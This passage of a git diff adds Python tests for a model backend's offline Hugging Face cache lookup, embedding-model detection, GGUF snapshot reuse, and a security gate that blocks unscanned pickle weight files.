+    so point it (and thus active_hf_hub_cache + the snapshot lookup's selected
+    root) at this temp cache too."""
+    root = tmp_path / "hub"
+    root.mkdir()
+    monkeypatch.setenv("HF_HOME", str(tmp_path))
+    monkeypatch.setenv("HF_HUB_CACHE", str(root))
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: SimpleNamespace(hub_cache = root),
+    )
+    return root
+
+
+@pytest.fixture(autouse = True)
+def _clean_env(monkeypatch):
+    """Start each test online with an empty detection cache; offline tests opt in."""
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    from utils.models import model_config as mc
+
+    mc._embedding_detection_cache.clear()
+    yield
+    mc._embedding_detection_cache.clear()
+
+
+# ── hf_env_offline ───────────────────────────────────────────────
+
+
+@pytest.mark.parametrize("value", ["1", "true", "TRUE", "yes", "on", "  On  "])
+def test_hf_env_offline_true(monkeypatch, value):
+    monkeypatch.setenv("HF_HUB_OFFLINE", value)
+    assert hf_env_offline() is True
+
+
+@pytest.mark.parametrize("value", ["0", "false", "no", "off", ""])
+def test_hf_env_offline_false(monkeypatch, value):
+    monkeypatch.setenv("HF_HUB_OFFLINE", value)
+    assert hf_env_offline() is False
+
+
+def test_hf_env_offline_honors_transformers_flag(monkeypatch):
+    monkeypatch.setenv("TRANSFORMERS_OFFLINE", "1")
+    assert hf_env_offline() is True
+
+
+def test_hf_env_offline_default_false():
+    assert hf_env_offline() is False
+
+
+# ── st_repo_id_candidates ────────────────────────────────────────
+
+
+def test_candidates_slashless_adds_st_alias():
+    assert st_repo_id_candidates("all-MiniLM-L6-v2") == [
+        "all-MiniLM-L6-v2",
+        "sentence-transformers/all-MiniLM-L6-v2",
+    ]
+
+
+def test_candidates_with_org_is_verbatim():
+    assert st_repo_id_candidates("org/model") == ["org/model"]
+
+
+def test_candidates_empty_name():
+    assert st_repo_id_candidates("   ") == []
+
+
+# ── hf_cache_snapshot_dir ────────────────────────────────────────
+
+
+def test_snapshot_dir_resolves_active_commit(hf_cache):
+    snapshot = _make_cache(hf_cache, "org/emb", {"modules.json": MODULES_JSON})
+    assert hf_cache_snapshot_dir("org/emb") == snapshot
+
+
+def test_snapshot_dir_none_when_uncached(hf_cache):
+    assert hf_cache_snapshot_dir("org/missing") is None
+
+
+def test_snapshot_dir_uses_st_alias_for_slashless(hf_cache):
+    snapshot = _make_cache(
+        hf_cache, "sentence-transformers/all-MiniLM-L6-v2", {"modules.json": MODULES_JSON}
+    )
+    assert hf_cache_snapshot_dir("all-MiniLM-L6-v2") == snapshot
+
+
+def test_snapshot_dir_none_when_snapshot_missing(hf_cache):
+    from huggingface_hub.file_download import repo_folder_name
+
+    repo_dir = hf_cache / repo_folder_name(repo_id = "org/broken", repo_type = "model")
+    (repo_dir / "refs").mkdir(parents = True)
+    (repo_dir / "refs" / "main").write_text("deadbeef")  # no snapshots/deadbeef dir
+    assert hf_cache_snapshot_dir("org/broken") is None
+
+
+def test_snapshot_dir_expands_env_vars_in_cache_path(tmp_path, monkeypatch):
+    # An unexpanded $VAR in HF_HUB_CACHE must resolve where the loader looks.
+    real = tmp_path / "hub"
+    real.mkdir()
+    monkeypatch.setenv("MY_HF_CACHE", str(real))
+    monkeypatch.setenv("HF_HUB_CACHE", "$MY_HF_CACHE")
+    monkeypatch.delenv("HF_HOME", raising = False)
+    monkeypatch.delenv("SENTENCE_TRANSFORMERS_HOME", raising = False)
+    snapshot = _make_cache(real, "org/emb", {"modules.json": MODULES_JSON})
+    assert hf_cache_snapshot_dir("org/emb") == snapshot
+
+
+def test_snapshot_dir_uses_sentence_transformers_home(tmp_path, monkeypatch):
+    # ST uses SENTENCE_TRANSFORMERS_HOME as its cache_folder, so the gate must inspect it too.
+    st_home = tmp_path / "st_home"
+    st_home.mkdir()
+    monkeypatch.setenv("SENTENCE_TRANSFORMERS_HOME", str(st_home))
+    monkeypatch.delenv("HF_HUB_CACHE", raising = False)
+    monkeypatch.delenv("HF_HOME", raising = False)
+    snapshot = _make_cache(st_home, "org/emb", {"modules.json": MODULES_JSON})
+    assert hf_cache_snapshot_dir("org/emb") == snapshot
+
+
+def test_snapshot_dir_prefers_selected_cache_over_st_home(tmp_path, monkeypatch):
+    # The RAG loader passes cache_folder=active_hf_hub_cache(), which overrides
+    # SENTENCE_TRANSFORMERS_HOME, so the snapshot + offline security lookup must
+    # search the selected cache even when ST_HOME points elsewhere. Otherwise the
+    # gate scans a cache the model never loads from and a pickle weight in the
+    # selected cache slips through.
+    st_home = tmp_path / "st_home"
+    st_home.mkdir()
+    selected = tmp_path / "hub"
+    selected.mkdir()
+    monkeypatch.setenv("SENTENCE_TRANSFORMERS_HOME", str(st_home))
+    monkeypatch.delenv("HF_HUB_CACHE", raising = False)
+    monkeypatch.delenv("HF_HOME", raising = False)
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: SimpleNamespace(hub_cache = selected),
+    )
+    snapshot = _make_cache(selected, "org/emb", {"modules.json": MODULES_JSON})  # only in selected
+    assert hf_cache_snapshot_dir("org/emb") == snapshot
+
+
+def test_snapshot_is_loadable_with_config_and_weights(hf_cache):
+    _make_cache(hf_cache, "org/emb", {"config.json": "{}", "model.safetensors": "x"})
+    assert hf_cache_snapshot_is_loadable("org/emb") is True
+
+
+def test_snapshot_is_not_loadable_when_metadata_only(hf_cache):
+    # A partial cache (refs/main resolves but no weights) is not loadable.
+    _make_cache(hf_cache, "org/partial", {"config.json": "{}", "modules.json": MODULES_JSON})
+    assert hf_cache_snapshot_is_loadable("org/partial") is False
+
+
+def test_snapshot_is_not_loadable_when_uncached(hf_cache):
+    assert hf_cache_snapshot_is_loadable("org/missing") is False
+
+
+def test_gate_blocks_pickle_in_sentence_transformers_home(tmp_path, monkeypatch):
+    # A pickle under SENTENCE_TRANSFORMERS_HOME must still fail closed offline.
+    st_home = tmp_path / "st_home"
+    st_home.mkdir()
+    monkeypatch.setenv("SENTENCE_TRANSFORMERS_HOME", str(st_home))
+    monkeypatch.delenv("HF_HUB_CACHE", raising = False)
+    monkeypatch.delenv("HF_HOME", raising = False)
+    _make_cache(st_home, "org/pk", {"config.json": "{}", "pytorch_model.bin": "x"})
+    with _no_network():
+        assert evaluate_file_security("org/pk", local_only_load = True).blocked is True
+
+
+# ── is_embedding_model: offline (no network) ─────────────────────
+
+
+def test_offline_true_for_cached_st_model(hf_cache, monkeypatch):
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    _make_cache(hf_cache, "org/emb", {"modules.json": MODULES_JSON, "config.json": "{}"})
+    with _no_network():
+        assert _is_embedding_model("org/emb") is True
+
+
+def test_offline_false_for_cached_non_st_model(hf_cache, monkeypatch):
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    _make_cache(hf_cache, "org/plain", {"config.json": "{}", "model.safetensors": "x"})
+    with _no_network():
+        assert _is_embedding_model("org/plain") is False
+
+
+def test_offline_false_when_uncached(hf_cache, monkeypatch):
+    monkeypatch.setenv("TRANSFORMERS_OFFLINE", "1")
+    with _no_network():
+        assert _is_embedding_model("org/missing") is False
+
+
+def test_offline_slashless_resolves_via_alias(hf_cache, monkeypatch):
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    _make_cache(hf_cache, "sentence-transformers/all-MiniLM-L6-v2", {"modules.json": MODULES_JSON})
+    with _no_network():
+        assert _is_embedding_model("all-MiniLM-L6-v2") is True
+
+
+def test_offline_ignores_stale_online_memo(hf_cache, monkeypatch):
+    # An online lookup memoizes True for an UNCACHED repo (tags say embedding, no weights). Once
+    # offline, is_embedding_model must reclassify from the empty cache and return False, not the
+    # stale online True that would make settings accept a repo _get() cannot load.
+    with patch(
+        "huggingface_hub.model_info",
+        side_effect = lambda *a, **k: SimpleNamespace(
+            tags = ["sentence-transformers"], pipeline_tag = None
+        ),
+    ):
+        assert _is_embedding_model("org/uncached-emb") is True  # memoized True online
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    with _no_network():
+        assert _is_embedding_model("org/uncached-emb") is False  # recomputed from empty cache
+
+
+def test_offline_recomputes_after_cache_materializes(hf_cache, monkeypatch):
+    # Because the offline branch never records a memo, once an uncached repo's snapshot
+    # materializes (another process populates the cache) the next call re-reports True.
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    with _no_network():
+        assert _is_embedding_model("org/later") is False  # uncached
+        _make_cache(hf_cache, "org/later", {"modules.json": MODULES_JSON})
+        assert _is_embedding_model("org/later") is True  # cache now present, no stale negative
+
+
+# ── is_embedding_model: online (bounded + fallback) ──────────────
+
+
+def test_online_passes_bounded_timeout(hf_cache):
+    seen = {}
+
+    def _mi(
+        name,
+        token = None,
+        timeout = None,
+        **kw,
+    ):
+        seen["timeout"] = timeout
+        return SimpleNamespace(tags = ["sentence-transformers"], pipeline_tag = None)
+
+    with patch("huggingface_hub.model_info", side_effect = _mi):
+        assert _is_embedding_model("org/emb") is True
+    assert seen["timeout"] == 15.0
+
+
+def test_online_error_falls_back_to_cache_marker(hf_cache):
+    _make_cache(hf_cache, "org/emb", {"modules.json": MODULES_JSON})
+    with patch("huggingface_hub.model_info", side_effect = RuntimeError("dns dead")):
+        assert _is_embedding_model("org/emb") is True
+
+
+def test_online_error_without_cache_returns_false(hf_cache):
+    with patch("huggingface_hub.model_info", side_effect = RuntimeError("dns dead")):
+        assert _is_embedding_model("org/missing") is False
+
+
+# ── evaluate_file_security: offline fail-closed gate ─────────────
+
+
+def _offline_decision(name):
+    return evaluate_file_security(name, local_only_load = True)
+
+
+def test_gate_allows_safetensors_only(hf_cache):
+    _make_cache(hf_cache, "org/st", {"modules.json": MODULES_JSON, "model.safetensors": "x"})
+    with _no_network():
+        assert _offline_decision("org/st").blocked is False
+
+
+def test_gate_blocks_pickle_without_safetensors(hf_cache):
+    _make_cache(hf_cache, "org/pk", {"config.json": "{}", "pytorch_model.bin": "x"})
+    with _no_network():
+        decision = _offline_decision("org/pk")
+    assert decision.blocked is True
+    assert any(u["path"] == "pytorch_model.bin" for u in decision.unsafe_files)
+
+
+def test_gate_allows_pickle_with_safetensors_sibling(hf_cache):
+    _make_cache(hf_cache, "org/both", {"pytorch_model.bin": "x", "model.safetensors": "y"})
+    with _no_network():
+        assert _offline_decision("org/both").blocked is False
+
+
+def test_gate_blocks_sharded_pickle(hf_cache):
+    _make_cache(
+        hf_cache,
+        "org/shard",
+        {
+            "pytorch_model-00001-of-00002.bin": "a",
+            "pytorch_model-00002-of-00002.bin": "b",
+        },
+    )
+    with _no_network():
+        assert _offline_decision("org/shard").blocked is True
+
+
+def test_gate_allows_nothing_cached(hf_cache):
+    with _no_network():
+        assert _offline_decision("org/missing").blocked is False
+
+
+def test_gate_allows_gguf_only(hf_cache):
+    _make_cache(hf_cache, "org/gg", {"model.gguf": "x"})
+    with _no_network():
+        assert _offline_decision("org/gg").blocked is False
+
+
+def test_gate_blocks_pickle_in_module_subdir(hf_cache):
+    # 0_Transformer is a module load root (listed in modules.json), so its pickle blocks.
+    _make_cache(
+        hf_cache,
+        "org/mod",
+        {"modules.json": _modules_json("0_Transformer"), "0_Transformer/pytorch_model.bin": "x"},
+    )
+    with _no_network():
+        assert _offline_decision("org/mod").blocked is True
+
+
+def test_gate_allows_pickle_in_subdir_with_safetensors(hf_cache):
+    _make_cache(
+        hf_cache,
+        "org/mod2",
+        {
+            "modules.json": _modules_json("0_Transformer"),
+            "0_Transformer/pytorch_model.bin": "x",
+            "0_Transformer/model.safetensors": "y",
+        },
+    )
+    with _no_network():
+        assert _offline_decision("org/mod2").blocked is False
+
+
+def test_gate_allows_unreferenced_nested_pickle(hf_cache):
+    # A pickle in a dir NOT referenced by modules.json (e.g. nemo/) is never deserialized, so it
+    # must not block the offline load (matches the online gate).
+    _make_cache(
+        hf_cache,
+        "org/aux",
+        {
+            "modules.json": MODULES_JSON,  # Transformer at the root only
+            "model.safetensors": "w",
+            "nemo/pytorch_model.bin": "x",
+        },
+    )
+    with _no_network():
+        assert _offline_decision("org/aux").blocked is False
+
+
+def test_gate_blocks_adapter_pickle_without_safetensors(hf_cache):
+    _make_cache(hf_cache, "org/ad", {"config.json": "{}", "adapter_model.bin": "x"})
+    with _no_network():
+        decision = _offline_decision("org/ad")
+    assert decision.blocked is True
+    assert any(u["path"] == "adapter_model.bin" for u in decision.unsafe_files)
+
+
+def test_gate_allows_adapter_pickle_with_adapter_safetensors(hf_cache):
+    _make_cache(hf_cache, "org/ad2", {"adapter_model.bin": "x", "adapter_model.safetensors": "y"})
+    with _no_network():
+        assert _offline_decision("org/ad2").blocked is False
+
+
+def test_gate_blocks_base_pickle_with_only_adapter_safetensors_decoy(hf_cache):
+    # A decoy adapter_model.safetensors must NOT suppress a base pytorch_model.bin (the base
+    # loader would still deserialize the unscanned pickle).
+    _make_cache(hf_cache, "org/decoy", {"pytorch_model.bin": "x", "adapter_model.safetensors": "y"})
+    with _no_network():
+        assert _offline_decision("org/decoy").blocked is True
+
+
+def test_gate_blocks_adapter_pickle_with_only_base_safetensors_decoy(hf_cache):
+    # Symmetric: a base model.safetensors must NOT suppress an adapter_model.bin.
+    _make_cache(hf_cache, "org/decoy2", {"adapter_model.bin": "x", "model.safetensors": "y"})
+    with _no_network():
+        assert _offline_decision("org/decoy2").blocked is True
+
+
+def test_gate_reports_snapshot_relative_path(hf_cache):
+    _make_cache(
+        hf_cache,
+        "org/mod3",
+        {"modules.json": _modules_json("0_Transformer"), "0_Transformer/pytorch_model.bin": "x"},
+    )
+    with _no_network():
+        decision = _offline_decision("org/mod3")
+    assert decision.blocked is True
+    assert any(u["path"] == "0_Transformer/pytorch_model.bin" for u in decision.unsafe_files)
+
+
+# ── evaluate_file_security: online path unchanged ────────────────
+
+
+def test_online_default_blocks_unsafe():
+    status = {
+        "scansDone": True,
+        "filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}],
+    }
+    with patch(
+        "huggingface_hub.model_info",
+        side_effect = lambda *a, **k: SimpleNamespace(security_repo_status = status),
+    ):
+        assert evaluate_file_security("org/x").blocked is True
+
+
+def test_online_default_allows_clean():
+    status = {"scansDone": True, "filesWithIssues": []}
+    with patch(
+        "huggingface_hub.model_info",
+        side_effect = lambda *a, **k: SimpleNamespace(security_repo_status = status),
+    ):
+        assert evaluate_file_security("org/x").blocked is False
+
+
+# ── embeddings guard + loader ────────────────────────────────────
+
+
+def test_guard_offline_blocks_pickle_only(hf_cache):
+    from core.rag.embeddings import UnsafeEmbeddingModelError, _guard_model_security
+    _make_cache(hf_cache, "org/pk", {"config.json": "{}", "pytorch_model.bin": "x"})
+    with _no_network():
+        with pytest.raises(UnsafeEmbeddingModelError):
+            _guard_model_security("org/pk", local_only = True)
+
+
+def test_guard_offline_allows_safetensors(hf_cache):
+    from core.rag.embeddings import _guard_model_security
+    _make_cache(hf_cache, "org/st", {"modules.json": MODULES_JSON, "model.safetensors": "x"})
+    with _no_network():
+        _guard_model_security("org/st", local_only = True)  # must not raise
+
+
+def _install_fake_sentence_transformers(monkeypatch, captured):
+    class FakeSentenceTransformer:
+        def __init__(
+            self,
+            name,
+            *,
+            device = None,
+            model_kwargs = None,
+            local_files_only = False,
+            **kw,
+        ):
+            captured["name"] = name
+            captured["device"] = device
+            captured["local_files_only"] = local_files_only
+
+    module = types.ModuleType("sentence_transformers")
+    module.SentenceTransformer = FakeSentenceTransformer
+    monkeypatch.setitem(sys.modules, "sentence_transformers", module)
+
+
+def test_get_offline_loads_from_local_snapshot(hf_cache, monkeypatch):
+    from core.rag import embeddings
+
+    snapshot = _make_cache(
+        hf_cache, "org/st", {"modules.json": MODULES_JSON, "model.safetensors": "x"}
+    )
+    # TRANSFORMERS_OFFLINE only: a cached model loads from its local snapshot dir (a local path,
+    # never the Hub), offline-safe on ANY sentence-transformers version.
+    monkeypatch.setenv("TRANSFORMERS_OFFLINE", "1")
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.setattr(embeddings, "_model", None, raising = False)
+    monkeypatch.setattr(embeddings, "_name", None, raising = False)
+    monkeypatch.setattr(embeddings, "_install_torchao_stub_once", lambda: None)
+    monkeypatch.setattr(embeddings, "_device", lambda: "cpu")
+    captured = {}
+    _install_fake_sentence_transformers(monkeypatch, captured)
+    with _no_network():
+        embeddings._get("org/st")
+    assert captured["name"] == str(snapshot)
+
+
+def test_get_offline_uncached_uses_local_files_only(tmp_path, monkeypatch):
+    from core.rag import embeddings
+
+    empty = tmp_path / "hub"
+    empty.mkdir()
+    monkeypatch.setenv("HF_HUB_CACHE", str(empty))
+    monkeypatch.delenv("HF_HOME", raising = False)
+    monkeypatch.delenv("SENTENCE_TRANSFORMERS_HOME", raising = False)
+    monkeypatch.setenv("TRANSFORMERS_OFFLINE", "1")
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.setattr(embeddings, "_model", None, raising = False)
+    monkeypatch.setattr(embeddings, "_name", None, raising = False)
+    monkeypatch.setattr(embeddings, "_install_torchao_stub_once", lambda: None)
+    monkeypatch.setattr(embeddings, "_device", lambda: "cpu")
+    # No cache -> repo-id load forced cache-only (fails fast offline, not a hang).
+    monkeypatch.setattr(embeddings, "_guard_model_security", lambda name, local_only = False: None)
+    captured = {}
+    _install_fake_sentence_transformers(monkeypatch, captured)
+    embeddings._get("org/uncached-xyz")
+    assert captured["name"] == "org/uncached-xyz"
+    assert captured["local_files_only"] is True
+
+
+def test_get_online_omits_local_files_only(monkeypatch):
+    from core.rag import embeddings
+
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    monkeypatch.setattr(embeddings, "_model", None, raising = False)
+    monkeypatch.setattr(embeddings, "_name", None, raising = False)
+    monkeypatch.setattr(embeddings, "_install_torchao_stub_once", lambda: None)
+    monkeypatch.setattr(embeddings, "_device", lambda: "cpu")
+    # Isolate the loader wiring from the online guard's network calls.
+    monkeypatch.setattr(embeddings, "_guard_model_security", lambda name, local_only = False: None)
+    captured = {}
+    _install_fake_sentence_transformers(monkeypatch, captured)
+    embeddings._get("org/online")
+    assert captured["local_files_only"] is False
diff --git a/studio/backend/tests/test_offline_gguf_cache_fallback.py b/studio/backend/tests/test_offline_gguf_cache_fallback.py
index 4499881c4d..d1e61d0546 100644
--- a/studio/backend/tests/test_offline_gguf_cache_fallback.py
+++ b/studio/backend/tests/test_offline_gguf_cache_fallback.py
@@ -79,9 +79,11 @@ from huggingface_hub import constants as hf_constants
 
 from core.inference.llama_cpp import (
     LlamaCppBackend,
+    _cached_colocated_split_main,
     _gguf_files_for_variant,
     _hf_offline_if_dns_dead,
     _probe_dns_dead,
+    _resolve_repo_id_casing,
 )
 from utils.models.model_config import (
     _detect_gguf_from_hf_cache,
@@ -117,10 +119,21 @@ def _build_cache(
     return snap
 
 
+def _symlink_or_skip(link: Path, target: Path) -> None:
+    try:
+        link.symlink_to(target)
+    except OSError as exc:
+        pytest.skip(f"symlinks unavailable: {exc}")
+
+
 @pytest.fixture
 def hf_cache(tmp_path, monkeypatch):
     """Point ``huggingface_hub.constants.HF_HUB_CACHE`` at a temp dir."""
     monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: _types.SimpleNamespace(hub_cache = tmp_path),
+    )
     return tmp_path
 
 
@@ -217,7 +230,11 @@ class TestGgufVariantFileResolution:
             downloaded.append(filename)
             return f"/fake/{repo_id}/{filename}"
 
-        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.setattr(
+            "utils.hf_cache_settings.get_hf_cache_paths",
+            lambda: _types.SimpleNamespace(hub_cache = tmp_path),
+        )
         with (
             patch(
                 "huggingface_hub.list_repo_files",
@@ -239,6 +256,226 @@ class TestGgufVariantFileResolution:
         assert downloaded == ["tinyllamas/stories260K.gguf"]
         assert out == "/fake/ggml-org/models/tinyllamas/stories260K.gguf"
 
+    def test_download_reuses_older_snapshot_when_current_ref_snapshot_is_partial(
+        self, monkeypatch, hf_cache
+    ):
+        # Keep coverage for offline reuse; online reuse is tested separately.
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        backend = LlamaCppBackend()
+        repo = "unsloth/vision-GGUF"
+        old = _build_cache(
+            hf_cache,
+            repo,
+            {"model-UD-Q4_K_XL.gguf": 4},
+            snapshot_sha = "a" * 40,
+        )
+        _build_cache(
+            hf_cache,
+            repo,
+            {"mtp-model.gguf": 1},
+            snapshot_sha = "b" * 40,
+        )
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = path, size = 4) for path in paths if path]
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("should reuse the cached GGUF instead of downloading")
+
+        with (
+            patch(
+                "huggingface_hub.list_repo_files",
+                lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf", "mtp-model.gguf"],
+            ),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_gguf(
+                hf_repo = repo,
+                hf_variant = "UD-Q4_K_XL",
+            )
+
+        assert out == str(old / "model-UD-Q4_K_XL.gguf")
+
+    def test_download_reuses_cached_gguf_when_lowercase_partial_cache_shadows_it(
+        self, monkeypatch, hf_cache
+    ):
+        # Keep coverage for case-insensitive offline cache lookup.
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        backend = LlamaCppBackend()
+        canonical_repo = "unsloth/gemma-4-E2B-it-GGUF"
+        requested_repo = "unsloth/gemma-4-e2b-it-gguf"
+        gguf_file = "gemma-4-E2B-it-UD-Q4_K_XL.gguf"
+        snap = _build_cache(
+            hf_cache,
+            canonical_repo,
+            {gguf_file: 4},
+            snapshot_sha = "a" * 40,
+        )
+        lower_snap = _build_cache(
+            hf_cache,
+            requested_repo,
+            {"mtp-gemma-4-E2B-it.gguf": 1},
+            snapshot_sha = "b" * 40,
+        )
+        os.utime(lower_snap, (2000, 2000))
+        os.utime(snap, (1000, 1000))
+        seen_repos: list[str] = []
+
+        def fake_list_repo_files(repo_id, token = None):
+            seen_repos.append(repo_id)
+            return [gguf_file]
+
+        def fake_get_paths_info(
+            repo_id,
+            paths,
+            token = None,
+        ):
+            seen_repos.append(repo_id)
+            return [_types.SimpleNamespace(path = path, size = 4) for path in paths if path]
+
+        def fake_cache(repo_id, filename, *args, **kwargs):
+            seen_repos.append(repo_id)
+            return str(snap / filename) if repo_id == canonical_repo else None
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("should reuse the cached GGUF instead of downloading")
+
+        with (
+            patch("huggingface_hub.list_repo_files", fake_list_repo_files),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", fake_cache),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_gguf(
+                hf_repo = requested_repo,
+                hf_variant = "UD-Q4_K_XL",
+            )
+
+        assert out == str(snap / gguf_file)
+        assert seen_repos
+
+    def test_download_online_reuses_complete_cached_snapshot(self, monkeypatch, hf_cache):
+        # Loads reuse complete cached models across repo revisions.
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        backend = LlamaCppBackend()
+        repo = "unsloth/vision-GGUF"
+        snap = _build_cache(hf_cache, repo, {"model-UD-Q4_K_XL.gguf": 4}, snapshot_sha = "a" * 40)
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("must reuse the cached GGUF instead of downloading")
+
+        with (
+            patch(
+                "huggingface_hub.list_repo_files",
+                lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf"],
+            ),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = repo, hf_variant = "UD-Q4_K_XL")
+
+        assert out == str(snap / "model-UD-Q4_K_XL.gguf")
+
+    def test_download_reuses_older_snapshot_when_offline_env_is_true(self, monkeypatch, hf_cache):
+        # HF_HUB_OFFLINE accepts truthy spellings beyond "1" (true/yes/on); the offline
+        # cache reuse must trigger for those too, otherwise the earlier Hub calls run
+        # offline while this branch still attempts hf_hub_download and the cached GGUF
+        # cannot load.
+        monkeypatch.setenv("HF_HUB_OFFLINE", "true")
+        backend = LlamaCppBackend()
+        repo = "unsloth/vision-GGUF"
+        old = _build_cache(hf_cache, repo, {"model-UD-Q4_K_XL.gguf": 4}, snapshot_sha = "a" * 40)
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = p, size = 4) for p in paths if p]
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("should reuse the cached GGUF instead of downloading")
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf"]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = repo, hf_variant = "UD-Q4_K_XL")
+
+        assert out == str(old / "model-UD-Q4_K_XL.gguf")
+
+    def test_download_companion_resolves_from_case_variant_snapshot_offline(
+        self, monkeypatch, hf_cache
+    ):
+        # Offline, resolve_cached_repo_id_case can keep a partial lower-case spelling,
+        # so the companion (mmproj) must resolve from whichever case-variant snapshot
+        # actually holds it rather than being dropped by an hf_hub_download on the
+        # wrong casing.
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        backend = LlamaCppBackend()
+        canonical_repo = "unsloth/gemma-4-E2B-it-GGUF"
+        requested_repo = "unsloth/gemma-4-e2b-it-gguf"
+        snap = _build_cache(hf_cache, canonical_repo, {"mmproj-F16.gguf": 4}, snapshot_sha = "a" * 40)
+        # A partial lower-case dir exists so casing resolution keeps the requested spelling.
+        _build_cache(hf_cache, requested_repo, {"config.json": 1}, snapshot_sha = "b" * 40)
+
+        _offline_exc = type("OfflineModeIsEnabled", (Exception,), {})
+
+        def fake_list_repo_files(repo_id, token = None):
+            raise _offline_exc("offline")
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("should resolve the companion from cache, not download")
+
+        with (
+            patch("huggingface_hub.list_repo_files", fake_list_repo_files),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_mmproj(hf_repo = requested_repo)
+
+        assert out == str(snap / "mmproj-F16.gguf")
+
+    def test_download_companion_uses_selected_cache_not_import_time_default(
+        self, monkeypatch, tmp_path
+    ):
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        import_time_cache = tmp_path / "import-time-cache"
+        selected_cache = tmp_path / "selected-cache"
+        monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(import_time_cache))
+        monkeypatch.setattr(
+            "utils.hf_cache_settings.get_hf_cache_paths",
+            lambda: _types.SimpleNamespace(hub_cache = selected_cache),
+        )
+        repo = "unsloth/vision-GGUF"
+        snap = _build_cache(selected_cache, repo, {"mmproj-F16.gguf": 4})
+        backend = LlamaCppBackend()
+
+        offline_error = type("OfflineModeIsEnabled", (Exception,), {})
+
+        def fail_list(*_args, **_kwargs):
+            raise offline_error("offline")
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("selected-cache companion must not download")
+
+        with (
+            patch("huggingface_hub.list_repo_files", fail_list),
+            patch(
+                "core.inference.llama_cpp.hf_hub_download_with_xet_fallback",
+                fail_download,
+            ),
+        ):
+            out = backend._download_mmproj(hf_repo = repo)
+
+        assert out == str(snap / "mmproj-F16.gguf")
+
     def test_download_includes_uppercase_split_gguf_shards(self, monkeypatch, tmp_path):
         backend = LlamaCppBackend()
         downloaded: list[str] = []
@@ -264,7 +501,11 @@ class TestGgufVariantFileResolution:
             downloaded.append(filename)
             return f"/fake/{repo_id}/{filename}"
 
-        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.setattr(
+            "utils.hf_cache_settings.get_hf_cache_paths",
+            lambda: _types.SimpleNamespace(hub_cache = tmp_path),
+        )
         with (
             patch("huggingface_hub.list_repo_files", lambda *_a, **_k: files),
             patch("huggingface_hub.get_paths_info", fake_get_paths_info),
@@ -279,6 +520,48 @@ class TestGgufVariantFileResolution:
         assert downloaded == files
         assert out == "/fake/org/repo/model-Q4_K_M-00001-of-00002.GGUF"
 
+    def test_download_refetches_split_gguf_when_shards_span_snapshots(self, monkeypatch, hf_cache):
+        # The cached main shard lives in an older snapshot; its sibling shard is only
+        # in a newer, separate snapshot. Reusing the main shard alone would leave
+        # llama.cpp unable to resolve the sibling, so the whole set must be re-fetched
+        # together (co-located) rather than served split across snapshot dirs.
+        backend = LlamaCppBackend()
+        repo = "org/split"
+        files = [
+            "model-Q4_K_M-00001-of-00002.gguf",
+            "model-Q4_K_M-00002-of-00002.gguf",
+        ]
+        _build_cache(hf_cache, repo, {files[0]: 4}, snapshot_sha = "a" * 40)
+        _build_cache(hf_cache, repo, {files[1]: 4}, snapshot_sha = "b" * 40)
+        downloaded: list[str] = []
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
